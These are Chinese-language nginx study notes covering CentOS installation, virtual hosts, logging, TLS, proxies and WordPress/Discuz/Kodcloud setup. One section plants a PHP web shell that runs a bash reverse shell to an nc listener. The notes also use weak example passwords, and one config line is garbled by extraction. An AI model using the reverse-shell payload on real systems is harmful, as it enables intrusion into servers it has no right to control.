nginx使用
nginx是一款web服务器软件,用于管理web服务器
xshell文件上传不上去:yum -y install lrzsz
nginx的安装
安装epel源
yum install epel-release -y
安装nginx
yum install nginx -y
启动nginx
systemctl start nginx.service
设置服务开机自启
systemctl enable nginx.service
扩展命令
停止nginx服务
systemctl stop nginx.service
取消nginx服务开机自启
systemctl disable nginx.service
检查80端口服务是否开启
netstat -lntup
重启nginx 服务
systemctl restart nginx.service
检测nginx的语法是否正确
nginx -t
显示以下输出,则说明语法正确
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
两个重要路径
nginx默认安装路径:
/etc/nginx/
该目录下有nginx的配置文件,其中有nginx.conf 和 nginx.conf.default,前者是nginx的主配置文件,后者是nginx配置文件的备份,往往以nginx.conf为主。
nginx的默认站点目录:
/usr/share/nginx/html
运行nginx网站
运行前检查
1.首先查看当前的系统的ip地址
ifconfig
运行以上命令可以得到ip地址,例如:192.168.152.155
2.然后查看80端口服务是否开启
netstat -lntp
运行以上命令则可以查看tcp协议的端口的开启状况,由于nginx的80端口属于tcp协议,所以这里就不用netstat -lntup命令了
3.关闭防火墙
systemctl stop firewalld.service
4.重启nginx服务
systemctl restart nginx.service
简单配置nginx文件
由于默认的nginx.conf配置文件中的内容多而杂,先目前阶段并不需要,所以这里做个简化,修改nginx.conf配置文件中的内容,后期不用担心,因为有nginx.conf.default备份文件。
重新编辑配置文件
grep -Ev '^$|#' /etc/nginx/nginx.conf.default > /etc/nginx/nginx.conf
然后重启nginx服务,每次修改配置文件都要重启一遍服务
systemctl restart nginx.service
再浏览器中打开主机的ip地址,即可访问到nginx默认的网页,浏览器默认是监听80端口的。
此时nginx.conf配置文件中的内容就是:
worker_processes 1;#启动nginx 进程的数量
events {
worker_connections 1024; # 每个进程可处理的连接数量
}
http {
include mime.types; #支持的多媒体格式
default_type application/octet-stream; #默认以十进制的数据流
charset utf-8;#设置字符集,防止中文乱码
sendfile on;
keepalive_timeout 65;
server {
listen 80; # 监听端口
server_name localhost;# 网站的域名
location / {
root html; #站点根目录,默认是/usr/share/nginx/html
index index.html index.htm; # 默认首页,从左往右识别
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
nginx多站点配置
多端口站点配置
首先准备两个网页,用于测试
在/usr/share/nginx/html 目录下新建名为2和3的文件下,分别在2和3文件夹下创建2.html和3.html文件
2.html
<html>
<head>
<title></title>
</head>
<body>
这里第二个网站
</body>
</html>
3.html
<html>
<head>
<title></title>
</head>
<body>
这里第二个网站
</body>
</html>
在nginx.conf配置文件中,可以存在多个网站,一个server对应一个网站,所以这里我们在配置文件中新增两个server
一个端口对应一个网站,这里81端口对应1.html ,82端口对应2.html
nginx.conf 配置文件如下
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
charset utf-8;#设置字符集,防止中文乱码
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
}
# 第二个网站
server {
listen 81;
server_name localhost;
location / {
root html/2;
index index.html index.htm 2.html;
}
}
# 第三个网站
server {
listen 82;
server_name localhost;
location / {
root html/3;
index index.html index.htm 3.html;
}
}
}
然后再重启nginx服务,分别访问81和82端口即可看到效果了。
如果访问不了端口,应该是防火墙的问题,执行以下命令
firewall-cmd --zone=public --add-port=端口号/tcp --permanent
然后重启防火墙,即可
systemctl restart firewalld.service
如果要关闭端口,可分别执行以下两个命令
sudo firewall-cmd --zone=public --remove-port=端口号/tcp --permanent
udo firewall-cmd --reload
多ip站点配置
centos7 下的多IP配置路径
vim /etc/sysconfig/network-scripts/ifcfg-ens33
修改配置内容
将原先的 BOOTPROTO=dhcp 改为 BOOTPROTO=static ,即 将自动获取ip改成手动配置ip ,然后往下面加IPADDR,例如,这里想加三个IP,即往后加IPADDR1=192.168.100.1 IPADDR2=192.168.100.2 IPADDR3=192.168.100.3。注意,要是自己的网段。
然后保存并退出配置文件
然后就可以用ipaddr查看ip的情况了。
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static # 原本这里是dhcp(动态IP) 现在改为static(静态IP)
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=f111c4db-5033-4c6e-b585-79a7ef480501
DEVICE=ens33
ONBOOT=yes
#示例
IPADDR1=192.168.100.1
IPADDR2=192.168.100.2
IPADDR3=192.168.100.3
#……
#依次类推
修改nginx配置
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
charset utf-8;#设置字符集,防止中文乱码
server {
listen 192.168.100.1:80; # 改成自己配置的ip
server_name localhost;
location / {
root html;
index index.html index.htm;
}
}
# 第二个网站
server {
listen 192.168.100.2:80;# 改成自己配置的ip
server_name localhost;
location / {
root html/2;
index index.html index.htm 2.html;
}
}
# 第三个网站
server {
listen 192.168.100.3:80;# 改成自己配置的ip
server_name localhost;
location / {
root html/3;
index index.html index.htm 3.html;
}
}
}
然后重启nginx就可以根据自己配置的ip访问对应的网站了。
多域名站点配置
原则上域名要从各大服务商选购并且备案才能在互联网上生效,但是如果仅在本地局域网内做测试,那就可以自己自定义了,也不需要备案了,但是作用域也仅在本地局域网内。
由于是我们自己随意配置的域名,所以很有可能与互联网上已经备案过的域名冲突,导致最终实现的结果不是自己想要的,所以这里修改了系统中的host配置文件。
windows系统下host默认位置在:C:\Windows\System32\drivers\etc
往host文件中添加的内容
本机ip地址 域名1 域名2 域名3
系统中的配置文件优先级大于证书中的域名,所以如果修改了系统中的配置文件,那么浏览器会优先从host文件中去匹配对应的网站,如果匹配不到,则会匹配备案后的网站。
修改nginx配置
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
charset utf-8;#设置字符集,防止中文乱码
server {
listen 80;
server_name a.dms.com; #修改成自己的域名
location / {
root html;
index index.html index.htm;
}
}
# 第二个网站
server {
listen 80;
server_name b.dms.com; #修改成自己的域名
location / {
root html/2;
index index.html index.htm 2.html;
}
}
# 第三个网站
server {
listen 80;
server_name c.dms.com; #修改成自己的域名
location / {
root html/3;
index index.html index.htm 3.html;
}
}
}
然后重启nginx就可以根据自己配置的域名访问对应的网站了。
加载nginx配置文件
当我们一个nginx跑了多个网站时,如果把所以的网站都写入一个配置文件中,那么会显得很杂乱,不好维护,那么我们就可以引入外部配置文件,也就是让一个网站对应一个配置文件,这样就好维护了。
这里我们将配置文件统一存放在 /etc/nginx/conf.d/*.conf 目录下。
cd /etc/nginx/conf.d/
首先修改nginx.conf 配置文件,将文件中的内容清空,重新编辑,如下
worker_processes 1;#启动nginx 进程的数量
events {
worker_connections 1024; # 每个进程可处理的连接数量
}
http {
include mime.types; #支持的多媒体格式
default_type application/octet-stream; #默认以十进制的数据流
charset utf-8;#设置字符集,防止中文乱码
include /etc/nginx/conf.d/*.conf; #引入外部配置文件
}
为对应的网站创建对应的配置文件,这里我们一般以网站或者域名为名
例如,我们有三个网站,分别为 a.dms.com、b.dms.com、c.dms.com,那么我们便创建三个配置文件,分别为 a.dms.com.conf、b.dms.com.conf、c.dms.com.conf。
然后分别编辑三个配置文件,如下
# a.dms.com.conf 文件内容
server {
listen 80;
server_name a.dms.com; #修改成自己的域名
location / {
root html;
index index.html index.htm;
}
}
然后其他配置文件依次类推。
最后重启nginx服务器,便可以访问对应的网站了。
当有多个网站的时候,如果域名不对,匹配不上资源,便会访问默认网站 可以在配置文件中的listen 80 后面使用default_server指定默认网站。
listen 80 default_server;
nginx日志文件
默认日志文件
nginx 默认存放路径为 /var/log/nginx/
nginx默认配置文件的内容格式为:
log_format compression '$remote_addr - $remote_user [$time_local] '
'"$request" $status $bytes_sent '
'"$http_referer" "$http_user_agent" "$gzip_ratio"';
# $remote_addr 客户端的ip地址
# $remote_user 客户端的用户名
# [$time_local] 当前时间
# "$request" 请求起始行
# $status http状态码
# $bytes_sent 资源的大小
# $http_referer 记录资源的跳转地址
# $http_user_agent 用户的终端信息
# $gzip_ratio gzip的压缩级别
其中 compression 为格式名称,随便取,但尽量通俗易懂。
自定义日志文件
nginx默认的日志文件内容多,有时间我们只需要几个内容就好,所以这里我们可以自定义日志文件
在nginx.conf 配置文件中,必须在server上面,一般在include上面配置
自定义日志文件步骤:
在servier{}上面使用 log_format 自定义名 '格式' ;
自定义格式
在server_name localhost;下面使用 access_log 要存放的日志文件路径 自定义名 ;
来生效日志文件
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
charset utf-8;
sendfile on;
keepalive_timeout 65;
log_format test '[$time_local] $remote_addr "$request" $status $bytes_sent'; # 自定义 日志文件 格式内容
server {
listen 80;
server_name localhost;
access_log /var/log/nginx/a.dms.com_log test; #使用自定义格式
location / {
root html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
然后保存编辑好的配置文件,重启nginx即可。
basic认证配置
随便找一个专门生成htpasswd的网站用于生成账号密码,加密方式选择Crypt
例如:https://tool.lu/index.php/htpasswd/
往nginx配置文件中的想要设置的网站下的location / {} 内第一行添加以下代码
auth_basic "备注";
auth_basic_user_file 密码存放的路径;
例子:
……
location / {
auth_basic "qstack.com.cn";
auth_basic_user_file /etc/nginx/htpasswd;
root html;
index index.html index.htm;
}
……
创建一个文件夹用于,存放密码,配置密码,编辑htpasswd文件
vim /etc/nginx/htpasswd
写入刚刚生成的htpasswd,保存,然后重启nginx服务即可。
SSL证书配置
先向购买的服务商(比如 腾讯云,阿里云) 申请证书,应该会快就能申请下来,然后选择Nginx下载。下载下来的文件是个压缩包,在linux系统上找个地方存储来,比如/opt/cert目录下(没有这个目录,可以自己创建),然后用unzip 解压该文件夹,解压出来会是以_bundle.crt和.csr 和 _bundle.pem 和 .key 为结尾的文件。
然后修改网站对应的配置文件,添加信息如下:
server {
#SSL 访问端口号为 443
listen 443 ssl;
#填写绑定证书的域名
server_name 自己申请证书的域名; # 自己的域名
#证书文件名称
ssl_certificate 刚刚下载的crt文件的绝对路径; # crt文件的路径
#私钥文件名称
ssl_certificate_key 刚刚下载的key文件的绝对路径; # key文件的路径
ssl_session_timeout 5m;
#请按照以下协议配置
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
#请按照以下套件配置,配置加密套件,写法遵循 openssl 标准。
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
ssl_prefer_server_ciphers on;
location / {
#网站主页路径。此路径仅供参考,具体请您按照实际目录操作。
root html;
index index.html index.htm;
}
}
这里,之前监听的端口都是80端口,那是http的端口,但是现在这里用的是https,那么对应的端口也就是443,所以这里监听443端口。
然后重启服务即可。
HTTP跳转HTTPS
在原本网站对应的配置文件中,再添加一个server ,监听端口为80
在location 里添加 return 302 https://域名$request_uri;
server {
#SSL 访问端口号为 443
listen 443 ssl;
#填写绑定证书的域名
server_name 自己申请证书的域名; # 自己的域名
#证书文件名称
ssl_certificate 刚刚下载的crt文件的绝对路径; # crt文件的路径
#私钥文件名称
ssl_certificate_key 刚刚下载的key文件的绝对路径; # key文件的路径
ssl_session_timeout 5m;
#请按照以下协议配置
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
#请按照以下套件配置,配置加密套件,写法遵循 openssl 标准。
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
ssl_prefer_server_ciphers on;
location / {
#网站主页路径。此路径仅供参考,具体请您按照实际目录操作。
root html;
index index.html index.htm;
}
}
#使用return跳转
server {
access_log off;
listen 80;
server_name 自己申请证书的域名;
location / {
return 302 https://自己申请证书的域名$request_uri;
}
}
nginx的gzip压缩
为了防止网站的过大的流量造成的高额的流量费用,一般情况下会采用压缩的方式,将文件的大小减少以来减少流量的消耗。
在网站的配置文件中的location中添加以下代码:
gzip on; #开启gzip压缩
gzip_min_length 1k; #最小压缩文件
gzip_buffers 4 32k; #内存缓冲
gzip_http_version 1.1; #http版本
gzip_comp_level 9; #压缩等级
gzip_types text/html text/css text/xml application/javascript; #压缩w类型
gzip_vary on; #http响应头添加gzip标识
gzip_disable "MSIE [1-7]\."; #遇到IE浏览器1-7取消gzip压缩
autoindex on;
autoindex_exact_size off;
例如:
……
location / {
gzip on; #开启gzip压缩
gzip_min_length 1k; #最小压缩文件
gzip_buffers 4 32k; #内存缓冲
gzip_http_version 1.1; #http版本
gzip_comp_level 9; #压缩等级
gzip_types text/html text/css text/xml application/javascript; #压缩w类型
gzip_vary on; #http响应头添加gzip标识
gzip_disable "MSIE [1-7]\."; #遇到IE浏览器1-7取消gzip压缩
autoindex on;
autoindex_exact_size off;
root html;
index index.html index.htm;
}
……
然后重启服务即可。
压缩过文件的网站,浏览器中的Response Headers 会显示:Content-Encoding:gzip
目录浏览功能
往网站配置文件中添加以下参数
autoindex on; # 网站目录浏览功能
autoindex_exact_size off;
例如:
……
server {
listen 80;
server_name localhost;
autoindex on; # 网站目录浏览功能
autoindex_exact_size off;
location / {
root html;
index index.html index.htm;
}
}
……
重启服务即可。
nginx的访问限制
nginx的访问限制实际上就是对传输层或者应用层进行操作。
对传输层的操作,便是禁用ip,效果就是被禁用的ip就访问不了服务器上的所有网站。
firewall-cmd --add-rich-rule='rule family=ipv4 source address="要禁用的ip" drop'
对应用层的操作,便是采用黑名单和白名单的模式
在网站配置文件中,使用 deny ip;
拉黑,allow ip;
允许
例如:黑名单模式
……
server {
listen 80;
server_name localhost;
deny 192.168.100.1; # 黑名单的ip
allow 0.0.0.0/0; # 白名单ip
location / {
root html;
index index.html index.htm;
}
}
……
出现的效果就是,就192.168.100.1不能访问网站
例如:白名单模式
……
server {
listen 80;
server_name localhost;
deny 0.0.0.0/0; # 黑名单ip
allow 192.168.100.1; # 白名单ip
location / {
root html;
index index.html index.htm;
}
}
……
出现的效果就是,只有192.168.100.1能访问网站
allow deny 都可以多个
改完配置文件重启,会提示警告,可以不用理会
location优先级
一个配置文件可以有多个location
例如,本来访问网站的网址是a.com,配置文件中是location / {} ,但是我想通过 a.com/a 访问另外一个网站,就可以将配置文件改成
loaction /a {} 就行了
匹配
#没有符号,代表模糊匹配,不支持正则 location /te 可以匹配te开头的目录和文件
~ #表示执行一个正则匹配,区分大小写
~* #表示执行一个正则匹配,不区分大小写
= #针对的是文件,精准匹配,不支持正则
匹配优先级
符号优先级 = 大于 ~ 大于 ~* 大于 无符号
touch jpg
#配置文件例子:
location = /jpg {
return 500;
}
location ^~ /jpg {
return 501;
}
location ~ /jpg {
return 504;
}
location ~* /Jpg {
return 503;
}
防盗链
为了防止其他人利用网址将自己的资源挂在他人网站而产生的流量费用,这里采用防盗链的方式,防止别人用src的形式挂载我们的网站资源。实现逻辑就是,对自己的网站添加限制,如果用户通过其他网站访问我们的资源地址的上一个页面不是我们网站的页面,就给禁止访问,必须通过我们自己的网站访问。
在server中添加以下代码
location ~* \.png$ {
if ($http_referer !~* "自己的网址的域名") {
return 403;
}
}
然后将
root 网站的资源路径;
index index.html index.htm;
放到 location / {}
的外面,方便全局访问,然后重启服务即可。
**BUG:**这里还有个小bug没有解决,就是用户直接通过通过url访问我们网站的图片,也是禁止访问。
中英文网站自动匹配
可以利用 $http_accept_language 来自动识别浏览器的语言设置,如果浏览器的语言是英文,那就访问自己的英文网站,如果是中文,则访问中文。但是得自己准备好不同语言的网站。方法不唯一。
server {
listen 80;
server_name yuyan.com;
index index.htm index.html;
location / {
if ( $http_accept_language ~* ^en ) {
root 自己准备的英文网站;
}
root 自己准备的中文网站;
}
}
重启服务即可。
nginx + php安装可道云个人网盘
可道云是一款可以搭建个人网盘的网站,我们可以从网站上下载源码包,放在自己的服务器上运行
安装php-fpm
yum install php-fpm php-mbstring php-mysqlnd php-gd -y
编辑配置文件
vim /etc/php-fpm.d/www.conf
将配置文件中的user = apache 和 group = apache 的apache 都改成nginx,大概在39行到41行的位置
# 原本的配置
user = apache
group = apache
#修改后
user = nginx
group = nginx
启动服务
systemctl start php-fpm.service
设置开机自启
systemctl enable php-fpm.service
此时用 netstat -lntup 查看 会有个9000的端口启动
在nginx的默认站点路径下创建一个文件夹,用于存放下载的可道云源码
mkdir /usr/share/nginx/html/kod
访问官网下载
https://kodcloud.com/download/
选择程序包下载,下载源码,下载下来的是个压缩包,将压缩包上传到linux系统下的 /html/kod 目录下,然后用 unzip 可道云压缩包名
解压可道云的源码。
创建可道云的站点配置文件
vim /etc/nginx/conf.d/kod.com.conf
往里面写入
格式(可忽略):
#可道云个人网盘
server {
listen 81; # 这里采用端口的站点配置
server_name localhost;
location / {
root 可道云源码的绝对路径;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/kod;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME 可道云的源码的绝对路径$fastcgi_script_name;
include fastcgi_params;
}
}
例子(必看):
#可道云个人网盘
server {
listen 83;
server_name localhost;
location / {
root /usr/share/nginx/html/kod;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/kod;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/kod$fastcgi_script_name;
include fastcgi_params;
}
}
扩充(可忽略):
由于上面用到的是多端口站点配置,所以要开启83端口的防火墙服务,如果采用的是多域名或者多ip的站点配置,则不需要这步骤
firewall-cmd --zone=public --add-port=83/tcp --permanent
重启nginx服务
systemctl restart nginx.service
进入到可道云的安装目录下
cd /usr/share/nginx/html/kod
将当前目录下的文件root权限全改为nginx的权限
chown -R nginx:nginx .
然后访问ip:80就可以看到可道云个人网盘网站了,第一次访问会要求设置用户名和密码。
可道云之反弹shell
在管理员的权限下以及system函数开放的情况下
安装nc
yum install nc -y
先用nc监听端口:
nl -l 要监听的端口
例如监听 8888 :
nl -l 8888
反弹shell的命令
bash -i >& /dev/tcp/本机ip/监听的端口 0>&1
例如:
利用可道云 新建一个1.php文件,往里面写入以下代码,这里以8888端口为例子
<?php system("bash -i >& /dev/tcp/本机ip/8888 0>&1"); ?>
然后用内部地址访问1.php文件
然后返回终端查看,发现连上了,可以尝试执行些命令,如果执行不了,可能是因为权限的问题
linux下安装mariadb
其实mariadb数据库跟mysql数据库是一个数据库,但又不是一个数据库,说是一个数据库,其实mariadb和mysql这两个数据库的用法是一样的,但说不是数据库,是因为这两个数据库是独立的数据库。为什么会有这种情况呢,那是因为历史的问题。
在mysql之前,有个非常流行的数据库Oracle数据库,但是它是收费的,为了有个免费的数据库,因此有家公司开发了类似oracle的数据库,并且是开源免费的,在免费的优势下,Oracle的用户逐渐流失,mysql的用户不断的扩张,oracle公司见此不妙,于是便以约十亿美金收购了mysql数据库,但是它目前还是开源免费的,但归属权归属Oracle,也就是说oracle随时可以选择收费,但是目前没有收费,为此,开发mysql公司的人又开发了mariadb数据库,由于是同一个人开发的,所以这个两个数据库除了名字不一样之外,使用功能都是一样的。
mariadb数据库分为服务端和客户端。
安装mariadb数据库
yum install mariadb-server mariadb -y
启动服务
systemctl start mariadb
设置开机自启服务
systemctl enable mariadb
mariadb的授权
grant all on 数据库名.* to 用户名@'自己的网段.%' identified by '密码';
例如:
grant all on wordpress.* to wordpress@'10.0.0.%' identified by '123456';
使用普通用户登录/远程登录
mysql -u 用户名 -p密码 -h 目标ip
例如:
mysql -u wordpress -p123456 -h 10.0.0.100
安全初始化mysql
mysql_secure_installation
回车,n,一路y即可。
设置root密码
ALTER USER 'root'@'localhost' IDENTIFIED BY '新密码';
安装nginx+wordpress
进入到 wordpress官网下载linux系统的源码安装包。
wordpress源码下载官网:https://cn.wordpress.org/download/
这里我下载的版本是 :wordpress-6.4.3-zh_CN.tar.gz
进入到nginx 默认站点目录
cd /usr/share/nginx/html
在此目录下 创建一个名为wordpress文件夹的目录,用于存放wordpress源码
mkdir wordpress
然后进入到该目录下
cd wordpress
将刚刚下载好的安装包上传到此目录下,然后解压
tar -zxvf wordpress-6.4.3-zh_CN.tar.gz
编辑nginx主配置文件
vim /etc/nginx/nginx.conf
在大概第八行下面添加以下代码,也就是在server上
include /etc/nginx/conf.d/*.conf; #引入外部配置文件
然后保存文件并退出
进入到nginx站点配置文件夹下
cd /etc/nginx/conf.d
给wordpress 创建一个站点配置文件
touch wordpress.com.conf
然后编辑该文件
vim wordpress.com.conf
往 wordpress.com.conf 里面写入
#wordpress
# /usr/share/nginx/html/wordpress
server {
listen 84;
server_name localhost;
location / {
root /usr/share/nginx/html/wordpress/wordpress;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/wordpress/wordpress;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/wordpress/wordpress$fastcgi_script_name;
include fastcgi_params;
}
}
进入到wordpress源码目录
cd /usr/share/nginx/html/wordpress/wordpress
给wordpress下的所有文件授予nginx权限
chown -R nginx:nginx .
然后重启nginx服务即可
说明:这里用的是多端口的站点配置,所以访问的话,
依次执行以下两个命令
firewall-cmd --zone=public --add-port=84/tcp --permanent
systemctl restart firewalld.service
然后用 本机ip:84
的形式在浏览器上访问
小问题
如果出现Your server is running PHP version 5.4.16 but WordPress 6.4.1 requires at least 7.0.0. 问题
原因:您的服务器正在运行PHP版本5.4.16,但WordPress 6.4.1需要至少7.0.0版本的PHP。因此,需要升级PHP版本以使其与WordPress兼容。
可依次执行以下命令
(1)
yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
(2)
yum-config-manager --enable remi-php70
(3)
yum install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd
(4)
php -v
然后重启nginx服务即可
wordpress初始化配置
由于上面 安装了 mariadb 数据库,现在可以拿来用了
由于上面只是安装了,并没有对其作任何操作,所以这里直接登录即可,不需要密码
mysql
然后创建一个库
create database wordpress;
创建一个普通用户,并且授予其权限
grant all on wordpress.* to wordpress@'192.168.152.%' identified by '123456';
上面这段代码的意思是,创建了一个名为wordpress用户,密码为123456,权限只能对名为wodpress库进行操作,其中192.168.152是我自己的ip,大家根据自己的情况修改。
然后可以尝试用以下命令 登录到普通用户
mysql -u wordpress -p123456 -h linxu的ip
此时访问 本机ip:84 即可访问到主页
点击 现在就开始,会让填写 数据库名 用户名 密码 数据库主机,根据以下写入
数据库名:wordpress
用户名:wordpress
密码:123456
数据库主机: linux系统的ip
然后点击提交,可能会让你创建一个文件,并往里面写入些东西,照着做就完事了。
然后下一步会让填写 站点标题 用户名 密码 邮箱等,随便填,自己记住就好,然后点击安装WordPress
安装成功后,填写自己刚刚设置的用户名和密码,登录即可。这里我喜欢用 账号:admin 密码123 注册登录。
安装 nginx + discuz
安装discuz
首先使用命令进入到数据库,由于上面没有设置密码,所以目前可以直接免密登录
mysql
创建一个数据库:
create database discuz;
创建普通账号并授权:
grant all on discuz.* to discuz@'192.168.20.%' identified by '123456';
获取discuz源码:
https://gitee.com/3dming/DiscuzL/attach_files
下载discuz的源码,在 /usr/share/nginx/html 目录下创建 discuz 文件夹 用于存放discuz的源码,并且将下载的上传源码上传到该目录下,然后用uzip 命令解压,我这里下载的文件名叫Discuz_X3.5_SC_UTF8_20231001.zip。代码依次如下
cd /usr/share/nginx/html
mkdir discuz
cd discuz
将文件上传到此目录下
unzip Discuz_X3.5_SC_UTF8_20231001.zip
进入到 配置文件存放目录
cd /etc/nginx/conf.d
创建并编辑discuz配置文件
vim discuz.com.conf
写入以下代码
#discuz论坛
# /usr/share/nginx/html/discuz/upload
server {
listen 85;
server_name localhost;
location / {
root /usr/share/nginx/html/discuz/upload;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/discuz/upload;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/discuz/upload$fastcgi_script_name;
include fastcgi_params;
}
}
进入到discuz的源码存放目录下,授权nginx,命令依次如下
cd /usr/share/nginx/html/discuz
chown -R nginx:nginx .
说明:这里用的是多端口的站点配置,所以访问的话,
依次执行以下两个命令
firewall-cmd --zone=public --add-port=85/tcp --permanent
systemctl restart firewalld.service
然后用 本机ip:85
的形式在浏览器上访问,根据安装向导进行安装
如果遇到
xml_parser_create() 不支持 该函数需要 PHP 支持 XML 。请联系服务商,确定开启了此项功能
可以执行以下命令
yum install php-xml
然后重启 php-fpm 服务,即可
service php-fpm restart
当进入到创建数据库的页面时,数据库密码,由于上面没有设置,所以留空,管理员账号密码,这里个人比较喜欢均为admin。
伪静态配置
将动态网站伪装成静态网站,虽然访问速度满不安全,但是方便SEO
discuz配置伪静态:
登录discuz ,打开管理中心 ,登录进去,点击上面全局,点击左侧SEO设置,然后点击上面URL静态化,
将中间的 页面 标记 格式 全勾上 然后提交
点击查看当前Rewrite 规则,下滑,找到nginx Web Server的规则,并复制下来
打开discuz的站点配置文件
将刚刚复制nginx Web Server规则 添加到 loaction /{} 中,完整配置文件如下
#discuz论坛
# /usr/share/nginx/html/discuz
server {
listen 85;
server_name localhost;
location / {
rewrite ^([^\.]*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 last;
rewrite ^([^\.]*)/article-([0-9]+)-([0-9]+)\.html$ $1/portal.php?mod=view&aid=$2&page=$3 last;
rewrite ^([^\.]*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?mod=forumdisplay&fid=$2&page=$3 last;
rewrite ^([^\.]*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=viewthread&tid=$2&extra=page%3D$4&page=$3 last;
rewrite ^([^\.]*)/group-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=group&fid=$2&page=$3 last;
rewrite ^([^\.]*)/space-(username|uid)-(.+)\.html$ $1/home.php?mod=space&$2=$3 last;
rewrite ^([^\.]*)/blog-([0-9]+)-([0-9]+)\.html$ $1/home.php?mod=space&uid=$2&do=blog&id=$3 last;
rewrite ^([^\.]*)/archiver/(fid|tid)-([0-9]+)\.html$ $1/archiver/index.php?action=$2&value=$3 last;
rewrite ^([^\.]*)/([a-z]+[a-z0-9_]*)-([a-z0-9_\-]+)\.html$ $1/plugin.php?id=$2:$3 last;
if (!-e $request_filename) {
return 404;
}
root /usr/share/nginx/html/discuz/upload;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/discuz/upload;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/discuz/upload$fastcgi_script_name;
include fastcgi_params;
}
}
然后保存并退出文件,然后重启nginx服务
nginx的正向代理
配置在客户端的代理叫正向代理,配置在服务端的代理叫反向代理
首先准备一台服务器(可能需要点成本),并记录下ip,随便放行个端口,例如 8888
在新的服务器,安装配置下nginx
往主配置文件中 http {}中 添加以下代码,但这种方式只支持http协议
server {
resolver 223.5.5.5;
listen 8888; #任意开放的端口
location / {
proxy_pass http://$host$request_uri;
proxy_set_header HOST $host;
proxy_buffers 256 4k;
proxy_max_temp_file_size ok;
proxy_connect_timeout 30;
proxy_send_timeout 60;
proxy_read_timeout 60;
proxy_next_upstream error timeout invalid_header http_502;
}
}
在浏览器上配置代理,服务器的ip:8888,其中8888端口是上面刚刚打开的
然后访问任意网站,此时日志文件记录的ip就是服务器的代理ip,不会是自己本机的ip
搭建lnmp环境
下载环境资源
yum install epel-release.noarch -y
yum install nginx php-fpm php-mbstring.x86_64 php-gd.x86_64 php-mysqlnd.x86_64 mariadb-server.x86_64 -y
启动mariadb数据库服务,并设置开机自启
systemctl start mariadb.service
systemctl enable mariadb.service
mysql安全初始化
mysql_secure_installation
执行该命令 会提示是否设置root密码,n表示不设置,y表示设置
修改phph-fpm配置文件
vim /etc/php-fpm.d/www.conf
将配置文件中的user = apache 和 group = apache 的apache 都改成nginx,大概在39行到41行的位置
# 原本的配置
user = apache
group = apache
#修改后
user = nginx
group = nginx
wordperss 配置静态网页
步骤:设置-》固定连接-》可以选择数字型-》保存
在nginx 网站配置文件中的localhost / {}中添加以下代码
try_files $uri
u
r
i
/
/
i
n
d
e
x
.
p
h
p
?
uri/ /index.php?
uri//index.php?args ;
#wordpress
# /usr/share/nginx/html/wordpress
server {
listen 84;
server_name localhost;
location / {
try_files $uri $uri/ /index.php?$args ;
root /usr/share/nginx/html/wordpress/wordpress;
index index.php index.html index.htm;
}
location ~ \.php$ {
root /usr/share/nginx/html/wordpress/wordpress;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/wordpress/wordpress$fastcgi_script_name;
include fastcgi_params;
}
}
然后重启nginx服务
nginx 反向代理
可以保护原站
找一台服务器作为代理服务器,记录下该服务器的ip
在该服务器上安装上nginx,修改主配置文件(/etc/nginx/nginx.comf),将原先location / {} 中的内容清空并改为如下代码
#……
location / {
proxy_pass http://原站服务器的ip;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
}
#……
重启nginx服务
记得要修改dms解析
本来dms解析直接指向原服务器的ip,现在要将dms解析ip指向代理服务器的ip
在原服务器主配置文件中的http{}中添加
lolog_format test '请求时间:[$time local]; 代理ip:$remote_addr;真实ip:$http_x_forwarded_for; "$request" $status $bytes_sent;
在include 上面添加
access_log /var/log/nginx/xx.log
其中xx随意即可,建议用网站名字
负载均衡
